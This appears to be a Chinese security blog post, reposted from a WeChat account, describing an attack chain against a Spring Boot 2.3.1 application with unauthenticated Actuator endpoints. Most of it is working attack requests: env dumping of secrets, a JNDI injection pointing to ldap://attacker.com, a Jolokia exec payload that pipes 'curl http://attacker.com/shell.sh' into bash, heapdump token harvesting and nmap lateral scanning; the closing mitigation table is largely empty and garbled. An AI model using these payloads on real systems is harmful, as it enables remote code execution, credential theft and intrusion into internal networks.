🧨 Spring Boot 框架漏洞挖掘案例:从 actuator 到内网横向
🕵️♂️ 一、目标环境探测
🎯 目标信息(简化)
-
系统:Spring Boot Web 应用(版本 2.3.1) -
端口:8080(HTTP 服务) -
技术栈:Spring Boot + Spring MVC + Actuator + Spring Data JPA -
暴露端点: /actuator
开放未鉴权
🔍 二、信息收集阶段
1. Actuator 端点探测
访问 /actuator
,返回以下结构:
{"_links": {"self": {"href": "http://target/actuator", "templated": false},"env": {"href": "http://target/actuator/env", "templated": false},"beans": {"href": "http://target/actuator/beans", "templated": false},"loggers": {"href": "http://target/actuator/loggers", "templated": false},"heapdump": {"href": "http://target/actuator/heapdump", "templated": false} }}
2. 环境变量获取
访问 /actuator/env
,成功获取配置信息:
{"propertySources": [ {"name": "systemEnvironment","properties": {"DB_PASSWORD": {"value": "SuperSecret123!" },"JAVA_OPTS": {"value": "-Dspring.profiles.active=prod" } } } ]}
✅ 成功泄露数据库密码和运行环境。
💥 三、漏洞挖掘与利用
📌 目标:远程命令执行(RCE)
方式一:未授权 JNDI 注入(基于 Spring Boot + HikariCP)
POST /actuator/envContent-Type: application/json{ "name": "spring.datasource.hikari.data-source-class-name", "value": "com.sun.rowset.JdbcRowSetImpl"}
POST /actuator/envContent-Type: application/json{ "name": "spring.datasource.hikari.data-source-properties.dataSourceName", "value": "ldap://attacker.com:1389/Exploit"}
POST /actuator/refresh
方式二:利用 heapdump
获取内存数据 + token
使用 Eclipse Memory Analyzer
打开 .hprof
,搜索 Jwt
或 Password
,获取敏感信息。
方式三:暴露 Jolokia + MBean RCE
POST /actuator/jolokia/execContent-Type: application/json{ "type":"exec", "mbean":"java.lang:type=Runtime", "operation":"exec", "arguments":["bash", "-c", "curl http://attacker.com/shell.sh | bash"]}
🛰️ 四、进一步横向 & 持久化
获取内网数据库权限
成功通过数据库登录获取 hash,解密后获得后台管理员登录信息。
内网扫描 + 横向移动
nmap -p 22,3306,8080 10.0.0.0/24
找到目标内网主机 10.0.0.12,重放 token 成功进入系统。
🧱 五、安全建议
|
|
---|---|
/actuator
|
|
env 参数 |
/actuator/env 和 /refresh |
heapdump
|
/heapdump 或限制 IP 访问 |
|
|
|
|
|
|
✅ 总结
通过 Spring Boot Actuator 漏洞链,实现如下攻击路径:
信息收集 → Actuator 利用 → heapdump/RCE → 获取敏感信息 → 横向渗透 → 持久化控制
后面将写一篇详细介绍Actuator信息泄露的,汇总一下可能会泄露哪些信息。
【关注公众号获取更多内容】
原文始发于微信公众号(季升安全):SpringBoot框架挖掘:从 actuator 到内网横向
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论